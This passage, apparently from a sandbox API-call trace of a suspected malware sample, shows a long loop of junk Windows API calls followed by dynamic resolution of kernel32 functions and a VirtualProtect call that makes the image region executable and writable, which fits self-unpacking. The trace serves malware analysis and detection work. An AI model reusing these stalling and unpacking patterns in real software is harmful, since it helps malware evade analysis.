(lpString=0x0) returned 0x0 [0054.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.882] AddAtomA (lpString=0x0) returned 0x0 [0054.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.882] AddAtomA (lpString=0x0) returned 0x0 [0054.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.882] AddAtomA (lpString=0x0) returned 0x0 [0054.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.882] AddAtomA (lpString=0x0) returned 0x0 [0054.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.882] AddAtomA (lpString=0x0) returned 0x0 [0054.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.882] AddAtomA (lpString=0x0) returned 0x0 [0054.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.882] AddAtomA (lpString=0x0) returned 0x0 [0054.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.882] AddAtomA (lpString=0x0) returned 0x0 [0054.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.882] AddAtomA (lpString=0x0) returned 0x0 [0054.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.882] AddAtomA (lpString=0x0) returned 0x0 [0054.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.882] AddAtomA (lpString=0x0) returned 0x0 [0054.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.883] AddAtomA (lpString=0x0) returned 0x0 [0054.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.883] AddAtomA (lpString=0x0) returned 0x0 [0054.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.883] AddAtomA (lpString=0x0) returned 0x0 [0054.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.883] AddAtomA (lpString=0x0) returned 0x0 [0054.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.883] AddAtomA (lpString=0x0) returned 0x0 [0054.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.883] AddAtomA (lpString=0x0) returned 0x0 [0054.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.883] AddAtomA (lpString=0x0) returned 0x0 [0054.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.883] AddAtomA (lpString=0x0) returned 0x0 [0054.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.883] AddAtomA (lpString=0x0) returned 0x0 [0054.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.883] AddAtomA (lpString=0x0) returned 0x0 [0054.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.883] AddAtomA (lpString=0x0) returned 0x0 [0054.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.884] AddAtomA (lpString=0x0) returned 0x0 [0054.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.884] AddAtomA (lpString=0x0) returned 0x0 [0054.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.884] AddAtomA (lpString=0x0) returned 0x0 [0054.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.884] AddAtomA (lpString=0x0) returned 0x0 [0054.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.884] AddAtomA (lpString=0x0) returned 0x0 [0054.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.884] AddAtomA (lpString=0x0) returned 0x0 [0054.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.884] AddAtomA (lpString=0x0) returned 0x0 [0054.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.884] AddAtomA (lpString=0x0) returned 0x0 [0054.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.884] AddAtomA (lpString=0x0) returned 0x0 [0054.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.884] AddAtomA (lpString=0x0) returned 0x0 [0054.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.884] AddAtomA (lpString=0x0) returned 0x0 [0054.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.885] AddAtomA (lpString=0x0) returned 0x0 [0054.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.885] AddAtomA (lpString=0x0) returned 0x0 [0054.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.885] AddAtomA (lpString=0x0) returned 0x0 [0054.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.885] AddAtomA (lpString=0x0) returned 0x0 [0054.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.885] AddAtomA (lpString=0x0) returned 0x0 [0054.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.885] AddAtomA (lpString=0x0) returned 0x0 [0054.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.885] AddAtomA (lpString=0x0) returned 0x0 [0054.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.885] AddAtomA (lpString=0x0) returned 0x0 [0054.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.885] AddAtomA (lpString=0x0) returned 0x0 [0054.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.885] AddAtomA (lpString=0x0) returned 0x0 [0054.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.885] AddAtomA (lpString=0x0) returned 0x0 [0054.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.886] AddAtomA (lpString=0x0) returned 0x0 [0054.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.886] AddAtomA (lpString=0x0) returned 0x0 [0054.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.886] AddAtomA (lpString=0x0) returned 0x0 [0054.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.886] AddAtomA (lpString=0x0) returned 0x0 [0054.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.886] AddAtomA (lpString=0x0) returned 0x0 [0054.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.886] AddAtomA (lpString=0x0) returned 0x0 [0054.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.886] AddAtomA (lpString=0x0) returned 0x0 [0054.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.886] AddAtomA (lpString=0x0) returned 0x0 [0054.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.886] AddAtomA (lpString=0x0) returned 0x0 [0054.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.886] AddAtomA (lpString=0x0) returned 0x0 [0054.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.886] AddAtomA (lpString=0x0) returned 0x0 [0054.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.887] AddAtomA (lpString=0x0) returned 0x0 [0054.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.887] AddAtomA (lpString=0x0) returned 0x0 [0054.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.887] AddAtomA (lpString=0x0) returned 0x0 [0054.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.887] AddAtomA (lpString=0x0) returned 0x0 [0054.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.887] AddAtomA (lpString=0x0) returned 0x0 [0054.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.887] AddAtomA (lpString=0x0) returned 0x0 [0054.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.887] AddAtomA (lpString=0x0) returned 0x0 [0054.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.887] AddAtomA (lpString=0x0) returned 0x0 [0054.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.887] AddAtomA (lpString=0x0) returned 0x0 [0054.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.887] AddAtomA (lpString=0x0) returned 0x0 [0054.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.888] AddAtomA (lpString=0x0) returned 0x0 [0054.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.888] AddAtomA (lpString=0x0) returned 0x0 [0054.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.888] AddAtomA (lpString=0x0) returned 0x0 [0054.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.888] AddAtomA (lpString=0x0) returned 0x0 [0054.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.888] AddAtomA (lpString=0x0) returned 0x0 [0054.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.888] AddAtomA (lpString=0x0) returned 0x0 [0054.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.888] AddAtomA (lpString=0x0) returned 0x0 [0054.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.888] AddAtomA (lpString=0x0) returned 0x0 [0054.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.888] AddAtomA (lpString=0x0) returned 0x0 [0054.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.888] AddAtomA (lpString=0x0) returned 0x0 [0054.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.888] AddAtomA (lpString=0x0) returned 0x0 [0054.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.889] AddAtomA (lpString=0x0) returned 0x0 [0054.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.889] AddAtomA (lpString=0x0) returned 0x0 [0054.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.889] AddAtomA (lpString=0x0) returned 0x0 [0054.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.889] AddAtomA (lpString=0x0) returned 0x0 [0054.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.889] AddAtomA (lpString=0x0) returned 0x0 [0054.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.889] AddAtomA (lpString=0x0) returned 0x0 [0054.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.889] AddAtomA (lpString=0x0) returned 0x0 [0054.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.889] AddAtomA (lpString=0x0) returned 0x0 [0054.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.889] AddAtomA (lpString=0x0) returned 0x0 [0054.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.889] AddAtomA (lpString=0x0) returned 0x0 [0054.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.889] AddAtomA (lpString=0x0) returned 0x0 [0054.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.890] AddAtomA (lpString=0x0) returned 0x0 [0054.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.890] AddAtomA (lpString=0x0) returned 0x0 [0054.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.890] AddAtomA (lpString=0x0) returned 0x0 [0054.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.890] AddAtomA (lpString=0x0) returned 0x0 [0054.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.890] AddAtomA (lpString=0x0) returned 0x0 [0054.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.890] AddAtomA (lpString=0x0) returned 0x0 [0054.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.890] AddAtomA (lpString=0x0) returned 0x0 [0054.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.912] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0054.912] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0054.912] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0054.912] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0054.912] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0054.912] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0054.912] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0054.912] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0054.912] SetErrorMode (uMode=0x400) returned 0x0 [0054.912] SetErrorMode (uMode=0x0) returned 0x400 [0054.912] GetVersionExA (in: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0054.913] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e0000 [0054.915] VirtualProtect (in: lpAddress=0x400000, dwSize=0x23000, flNewProtect=0x40, lpflOldProtect=0x18e5a8 | out: lpflOldProtect=0x18e5a8*=0x2) returned 1 [0055.067] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.067] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0055.068] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0055.069] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f 